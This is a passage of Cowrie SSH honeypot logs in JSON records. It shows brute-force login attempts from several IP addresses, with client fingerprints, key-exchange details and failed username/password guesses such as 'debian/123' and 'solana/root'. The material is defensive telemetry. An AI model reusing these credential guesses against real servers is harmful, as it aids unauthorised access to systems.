ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:18.345349Z","src_ip":"103.234.53.173","session":"4cb7ab13605c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maintain","password":"maintain123","message":"login attempt [maintain/maintain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:19.218065Z","src_ip":"103.234.53.173","session":"4cb7ab13605c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:20.430189Z","src_ip":"103.234.53.173","session":"4cb7ab13605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":57502,"dst_ip":"159.203.135.109","dst_port":22,"session":"95cdbf3dfd18","protocol":"ssh","message":"New connection: 171.25.158.70:57502 (159.203.135.109:22) [session: 95cdbf3dfd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:24.211862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:24.239769Z","src_ip":"171.25.158.70","session":"95cdbf3dfd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:24.399120Z","src_ip":"171.25.158.70","session":"95cdbf3dfd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscommerce","password":"oscommercepass","message":"login attempt [oscommerce/oscommercepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:25.000296Z","src_ip":"171.25.158.70","session":"95cdbf3dfd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:26.116422Z","src_ip":"171.25.158.70","session":"95cdbf3dfd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":45930,"dst_ip":"159.203.135.109","dst_port":22,"session":"d35d22eba8ae","protocol":"ssh","message":"New connection: 118.26.39.178:45930 (159.203.135.109:22) [session: d35d22eba8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:37.984306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:37.989210Z","src_ip":"118.26.39.178","session":"d35d22eba8ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:38.200372Z","src_ip":"118.26.39.178","session":"d35d22eba8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123","message":"login attempt [debian/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:39.077730Z","src_ip":"118.26.39.178","session":"d35d22eba8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:11:40.291542Z","src_ip":"118.26.39.178","session":"d35d22eba8ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43588,"dst_ip":"159.203.135.109","dst_port":22,"session":"684b520f832d","protocol":"ssh","message":"New connection: 2.57.122.208:43588 (159.203.135.109:22) [session: 684b520f832d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:12:18.936464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:12:18.946770Z","src_ip":"2.57.122.208","session":"684b520f832d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:12:19.049327Z","src_ip":"2.57.122.208","session":"684b520f832d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:12:19.693565Z","src_ip":"2.57.122.208","session":"684b520f832d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:12:20.863675Z","src_ip":"2.57.122.208","session":"684b520f832d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":51436,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d04d6a92b0c","protocol":"ssh","message":"New connection: 171.25.158.70:51436 (159.203.135.109:22) [session: 4d04d6a92b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:12.218292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:12.223925Z","src_ip":"171.25.158.70","session":"4d04d6a92b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:12.337879Z","src_ip":"171.25.158.70","session":"4d04d6a92b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"copia","password":"12345","message":"login attempt [copia/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:12.832425Z","src_ip":"171.25.158.70","session":"4d04d6a92b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36656,"dst_ip":"159.203.135.109","dst_port":22,"session":"09114c9ed3a0","protocol":"ssh","message":"New connection: 92.118.39.92:36656 (159.203.135.109:22) [session: 09114c9ed3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:13.687485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:13.699163Z","src_ip":"92.118.39.92","session":"09114c9ed3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:13.803114Z","src_ip":"92.118.39.92","session":"09114c9ed3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:14.005502Z","src_ip":"171.25.158.70","session":"4d04d6a92b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"test","message":"login attempt [uftp/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:14.121036Z","src_ip":"92.118.39.92","session":"09114c9ed3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:15.228453Z","src_ip":"92.118.39.92","session":"09114c9ed3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":36714,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb45a5224d4b","protocol":"ssh","message":"New connection: 103.234.53.173:36714 (159.203.135.109:22) [session: eb45a5224d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:34.830795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:34.835105Z","src_ip":"103.234.53.173","session":"eb45a5224d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:35.061175Z","src_ip":"103.234.53.173","session":"eb45a5224d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unifi","password":"12345","message":"login attempt [unifi/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:35.946761Z","src_ip":"103.234.53.173","session":"eb45a5224d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:37.162483Z","src_ip":"103.234.53.173","session":"eb45a5224d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39184,"dst_ip":"10.17.0.5","dst_port":22,"session":"88d430805ed2","protocol":"ssh","message":"New connection: 195.178.110.218:39184 (10.17.0.5:22) [session: 88d430805ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:37.939331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:37.943682Z","src_ip":"195.178.110.218","session":"88d430805ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:38.022771Z","src_ip":"195.178.110.218","session":"88d430805ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:38.260894Z","src_ip":"195.178.110.218","session":"88d430805ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:39.344400Z","src_ip":"195.178.110.218","session":"88d430805ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5e1cc337b5","protocol":"ssh","message":"New connection: 118.26.39.178:58372 (159.203.135.109:22) [session: 8b5e1cc337b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:40.249950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:40.254129Z","src_ip":"118.26.39.178","session":"8b5e1cc337b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:40.467298Z","src_ip":"118.26.39.178","session":"8b5e1cc337b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyril","password":"123456","message":"login attempt [cyril/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:41.355845Z","src_ip":"118.26.39.178","session":"8b5e1cc337b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:13:42.574417Z","src_ip":"118.26.39.178","session":"8b5e1cc337b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47960,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fdb0fe2dc79","protocol":"ssh","message":"New connection: 2.57.122.208:47960 (159.203.135.109:22) [session: 3fdb0fe2dc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:14:33.706446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:14:33.804047Z","src_ip":"2.57.122.208","session":"3fdb0fe2dc79","protocol":"ssh"}
